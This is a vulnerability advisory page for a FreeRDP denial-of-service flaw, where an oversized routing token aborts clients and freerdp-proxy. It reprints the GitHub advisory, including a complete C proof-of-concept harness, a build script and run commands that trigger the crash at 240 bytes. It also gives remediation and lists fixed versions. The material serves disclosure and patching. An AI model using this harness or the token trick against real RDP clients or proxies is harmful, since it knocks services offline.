Read the docs

Oversized routing token in FreeRDP aborts clients and proxies

Priority MEDIUM 42CWE-20Published · Updated

Key facts

Attack vector
Network
Privileges required
None
User interaction
None
Attack complexity
High
Impact type
Denial of service
Confidentiality · integrity · availability
None · None · High
Fix status
Fixed

Attack profile from CVSS 3.1 · GHSA-3hf9-w6hr-hf9j. Fix status from GitHub. Impact type from CWE-617.

Summary

FreeRDP through 3.32.1 builds X.224 connection requests from peer-controlled routing tokens, and an oversized token such as one of 240 bytes trips an assertion because the one-byte length field cannot hold it (CWE-617). A malicious RDP server can supply the token in a redirection PDU, and an unauthenticated peer can send one to a freerdp-proxy configured with FixedTarget=true. The observed impact is an abort and loss of availability in assertion-enabled builds.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

Description from the GitHub advisory

FreeRDP constructs an X.224 Connection Request from a routing token and optional negotiation data. The complete X.224 length indicator is one byte, but `nego_send_negotiation_request` only checks a 16-bit total stream length before passing it to `tpdu_write_header`. That function asserts that the length fits in `UINT8_MAX`, then narrows it to one byte. Peer-controlled routing tokens can reach this assertion by two routes: 1. A malicious RDP server supplies an oversized `LoadBalanceInfo` in a Server Redirection PDU. The client copies it into settings and reuses it as a routing token on reconnect. A real-code parser-to-negotiation harness reproduced the assertion at 240 bytes with an eight-byte negotiation request; a 239-byte control did not abort. A full network redirection run was not preserved. 2. An unauthenticated front peer sends a recognized token of 240–247 bytes to `freerdp-proxy` configured with `FixedTarget=true` (or an equivalent module). `FixedTarget` is false by default. The front must negotiate RDP security without `RDP_NEG_REQ`, while the outbound leg adds an eight-byte negotiation request. A live two-peer test showed a 240-byte token aborting the proxy with exit 134 before it sent outbound bytes; a 239-byte control produced valid LI 255 without an abort. Default token-derived target selection rejects these long tokens first. The observed impact is availability loss in assertion-enabled builds. In an assertion-disabled optimized build, source inspection predicts a malformed one-byte LI and failed outbound connection; that mode was not run. Current source includes stream-capacity checks and does **not** demonstrate the earlier heap overflow reported in [GHSA-r9pv-ffph-6gg6](https://github.com/FreeRDP/FreeRDP/security/advisories/GHSA-r9pv-ffph-6gg6), which lists 3.31.0 as patched. ### Reproduction This complete **parser-to-negotiation component harness** exercises the direct-client redirection route: a synthetic Server Redirection PDU is parsed into settings and re-emitted as an outbound routing token. It does not establish a full malicious-server connection or exercise the separate live proxy front-peer route. Save the C block as `cand-000093-parse-chain.c` and the runner as `run.sh`. ```c /* * CAND-000093 adversarial-validation harness. * * Exercises the real parse -> settings -> nego chain for an oversized * LoadBalanceInfo in an RDP_SERVER_REDIRECTION_PACKET: * * rdp_recv_enhanced_security_redirection_packet() * -> rdp_recv_server_redirection_pdu() (redirection.c, real) * rdp_redirection_apply_settings() (redirection.c, real) * nego_set_routing_token() (nego.c, real) * nego_send_negotiation_request() (nego.c, real -> tpdu.c assert) * * Build with matching static ASan libraries. * This harness does not modify the FreeRDP source tree. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <freerdp/freerdp.h> #include <freerdp/settings.h> #include <winpr/stream.h> #include <winpr/synch.h> #include <winpr/wlog.h> #include "core/nego.h" #include "core/rdp.h" #include "core/redirection.h" #include "core/transport.h" #ifndef SEC_REDIRECTION_PKT #define SEC_REDIRECTION_PKT 0x0400 #endif /* Internal, not declared in redirection.h (defined non-static in redirection.c). */ rdpRedirection* redirection_new(void); int main(int argc, char** argv) { size_t tokenLen = (argc > 1) ? (size_t)strtoul(argv[1], NULL, 0) : 300; rdpContext* context = (rdpContext*)calloc(1, sizeof(rdpContext)); rdpRdp* rdp = (rdpRdp*)calloc(1, sizeof(rdpRdp)); rdpSettings* settings = freerdp_settings_new(0); if (!context || !rdp || !settings) return 2; context->rdp = rdp; context->settings = settings; rdp->context = context; rdp->settings = settings; rdp->originalSettings = freerdp_settings_clone(settings); rdp->redirection = redirection_new(); rdp->log = WLog_Get("cand93"); if (!rdp->originalSettings || !rdp->redirection || !rdp->log) return 2; BYTE* token = (BYTE*)malloc(tokenLen); if (!token) return 2; memset(token, 'A', tokenLen); token[0] = 'C'; /* arbitrary opaque bytes; LoadBalanceInfo is not validated */ /* Build the server redirection PDU as rdp_write_enhanced_security_redirection_packet would. */ wStream* s = Stream_New(NULL, tokenLen + 64); if (!s) return 2; Stream_Write_UINT16(s, 0); /* pad2Octets */ Stream_Write_UINT16(s, SEC_REDIRECTION_PKT); /* flags */ Stream_Write_UINT16(s, 0); /* length (unused by parser) */ Stream_Write_UINT32(s, 1); /* sessionID */ Stream_Write_UINT32(s, LB_LOAD_BALANCE_INFO); /* redirFlags */ Stream_Write_UINT32(s, (UINT32)tokenLen); /* LoadBalanceInfo length */ Stream_Write(s, token, tokenLen); Stream_Zero(s, 8); /* padding */ Stream_SetPosition(s, 0); state_run_t st = rdp_recv_enhanced_security_redirection_packet(rdp, s); fprintf(stderr, "[harness] redirection parse status=%d (1=REDIRECT)\n", (int)st); if (st != STATE_RUN_REDIRECT) return 3; const int arc = rdp_redirection_apply_settings(rdp); fprintf(stderr, "[harness] rdp_redirection_apply_settings rc=%d\n", arc); if (arc != 0) return 3; settings = rdp->settings; /* reset_runtime_settings replaced the pointer */ const UINT32 slen = freerdp_settings_get_uint32(settings, FreeRDP_LoadBalanceInfoLength); fprintf(stderr, "[harness] settings->LoadBalanceInfoLength=%u\n", slen); rdpTransport* transport = transport_new(context); if (!transport) return 2; rdpNego* nego = nego_new(transport); if (!nego) return 2; nego_set_target(nego, "127.0.0.1", 3389); nego_enable_tls(nego, TRUE); /* Mirror the default ExtSecurity client: nego_attempt_ext() sets * RequestedProtocols = PROTOCOL_HYBRID | PROTOCOL_SSL | PROTOCOL_HYBRID_EX * (nego.c:660), which adds the 8 byte RDP_NEG_REQ to the TPDU. */ nego_set_requested_protocols(nego, PROTOCOL_HYBRID | PROTOCOL_SSL | PROTOCOL_HYBRID_EX); /* Exactly what rdp_client_connect() does at connection.c:447-451. */ if (!nego_set_routing_token(nego, freerdp_settings_get_pointer(settings, FreeRDP_LoadBalanceInfo), slen)) { fprintf(stderr, "[harness] nego_set_routing_token failed\n"); return 2; } fprintf(stderr, "[harness] calling nego_send_negotiation_request (token=%u)\n", slen); fflush(stderr); const BOOL rc = nego_send_negotiation_request(nego); fprintf(stderr, "[harness] nego_send_negotiation_request returned %d (no abort)\n", rc); return rc ? 0 : 1; } ``` ```sh #!/bin/sh set -eu if [ "$#" -ne 2 ]; then echo "usage: $0 <FreeRDP source dir> <matching ASan CMake build dir>" >&2 exit 2 fi SRC=$(CDPATH= cd -- "$1" && pwd) BUILD=$(CDPATH= cd -- "$2" && pwd) cc -fsanitize=address -fno-omit-frame-pointer -g \ -DWITH_VERBOSE_WINPR_ASSERT -D_FILE_OFFSET_BITS=64 \ -I"$SRC/winpr/include" -I"$BUILD/winpr/include" \ -I"$BUILD" -I"$BUILD/include" -I"$SRC/include" \ -I"$SRC/libfreerdp" \ cand-000093-parse-chain.c \ -Wl,--start-group \ "$BUILD/libfreerdp/libfreerdp3.a" \ "$BUILD/winpr/libwinpr/libwinpr3.a" \ -Wl,--end-group \ -lssl -lcrypto -lz -licuuc -licui18n -lpthread -ldl -lm \ -o cand-000093-parse-chain ``` With matching ASan source and build directories, run: ```sh sh run.sh /path/to/FreeRDP /path/to/FreeRDP-ASan-build ASAN_OPTIONS=detect_leaks=0:handle_segv=0 ./cand-000093-parse-chain 239 ASAN_OPTIONS=detect_leaks=0:handle_segv=0 ./cand-000093-parse-chain 240 ``` The archived 239-byte direct-client control reached negotiation without this assertion; the 240-byte case logged `LoadBalanceInfoLength=240`, then `winpr_int_assert: ((length <= (255)))` in `tpdu_write_header:122` and aborted. A separate preserved **live fixed-target proxy** test found the same threshold: 239 bytes emitted an outbound LI of 255 without abort, while a 240-byte recognized token caused proxy exit 134 before any outbound bytes were sent. The proxy test required `FixedTarget=true` (false by default), front RDP security with no `RDP_NEG_REQ`, and outbound negotiation adding eight bytes. The inline code reproduces only the direct-client parser route; the live proxy result is an independently archived observation, not a result of this runner. Assertion-disabled behavior was not executed. ### Suggested remediation Check the computed X.224 LI against `UINT8_MAX` and fail normally before writing the header. Apply a corresponding token budget when accepting server redirection data and when a proxy forwards a front-peer token to its outbound connection. Keep the existing stream-capacity checks. Add boundary tests at LI 255 and 256 for both input routes and for assert-enabled and optimized builds.

Why it matters now

Fix Fixed FreeRDP (c): 3.32.2

SSVC decision points

Not available: CISA has not published SSVC decision points for this record.

Affected products

VendorProductAffected versionsFixed inStatusSource
—FreeRDP (c)<= 3.32.13.32.2Patch availableGHSA-3hf9-w6hr-hf9j
  • FreeRDP (c) Vendor— Affected <= 3.32.1 Fixed in 3.32.2 Patch available GHSA-3hf9-w6hr-hf9j

Remediation

Upgrade FreeRDP to 3.32.2, which fixes the issue.

Written with Claude Haiku 5.5 from the sources below · 2026-11-12

  • Fix · GHSA-3hf9-w6hr-hf9j FreeRDP (c) Fixed in 3.32.2 Advisory →

Timeline

  1. 2026-11-12 Threatist record created from GHSA-3hf9-w6hr-hf9j

References

Sources

This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences